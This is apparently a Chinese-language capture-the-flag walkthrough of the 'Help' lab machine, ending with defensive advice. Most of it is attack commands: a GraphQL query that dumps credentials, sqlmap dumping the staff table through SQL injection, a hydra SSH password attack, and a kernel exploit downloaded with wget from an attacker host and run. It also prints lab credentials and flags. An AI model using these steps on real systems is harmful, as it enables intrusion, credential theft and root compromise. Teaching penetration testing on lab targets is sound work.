[Meachines] [Easy] Help HelpDeskZ-SQLI+NODE.JS-GraphQL未授权访问+Kernel
字数 929 2025-08-22 12:23:41
HelpDeskZ 渗透测试教学文档
1. 信息收集
1.1 初始扫描
目标IP: 10.10.10.121
使用masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.10.121 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
提取开放端口:
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
使用nmap进行详细扫描:
nmap -Pn -sV -sC -p$ports 10.10.10.121
扫描结果:
- 22/tcp: OpenSSH 7.2p2 Ubuntu
- 80/tcp: Apache httpd 2.4.18 (重定向到help.htb)
- 3000/tcp: Node.js Express框架
1.2 主机名解析
将help.htb添加到hosts文件:
echo '10.10.10.121 help.htb' >> /etc/hosts
1.3 Web目录扫描
使用dirsearch扫描web目录:
dirsearch -u http://help.htb/
发现重要目录:/support
2. 漏洞利用
2.1 GraphQL未授权访问
检查3000端口的Node.js服务:
whatweb http://10.10.10.121:3000 -v
测试GraphQL端点:
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}"
获取用户凭证:
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user{username,password}}"
获取到凭证:
- 用户名:
helpme@helpme.com - 密码:
godhelpmeplz
2.2 HelpDeskZ SQL注入
发现HelpDeskZ存在SQL注入漏洞,使用以下HTTP请求:
GET /support/?v=view_tickets&action=ticket¶m[]=8¶m[]=attachment¶m[]=1¶m[]=10 HTTP/1.1
Host: help.htb
...
使用sqlmap自动化利用:
sqlmap -r target -p param[] --level 5 --risk 3 --batch
提取数据库信息:
sqlmap -r target -p param[] --level 5 --risk 3 --batch -D support -T staff --dump
2.3 SSH爆破
使用获取的凭证进行SSH爆破:
hydra -L usernames -p Welcome1 ssh://10.10.10.121
成功获取SSH凭证:
- 用户名:
help - 密码:
Welcome1
登录SSH:
ssh help@10.10.10.121
获取user flag:
ae3b7cd906a806d72bf78a3c751c2533
3. 权限提升
3.1 内核漏洞利用
检查系统内核版本,发现存在漏洞:
Linux Kernel < 4.4.0-116
下载并编译exploit:
wget http://10.10.16.13/ker.c
gcc ker.c -o ker
chmod +x ker
执行提权:
./ker
获取root flag:
314e5296badc1deb6632c86af6298d1b
4. 关键知识点总结
- 信息收集:masscan快速扫描+nmap详细扫描的组合非常有效
- GraphQL未授权访问:GraphQL端点可能暴露敏感信息,需要测试所有可能的查询
- SQL注入:参数化数组(param[])容易成为注入点,sqlmap是自动化利用的强大工具
- 凭证复用:从一处获取的凭证可能在系统其他位置有效
- 内核提权:始终检查内核版本,寻找公开的本地提权漏洞
5. 防御建议
- 对GraphQL端点实施适当的认证和授权控制
- 使用参数化查询防止SQL注入
- 避免使用弱密码和默认凭证
- 及时更新内核和安全补丁
- 实施最小权限原则,限制用户权限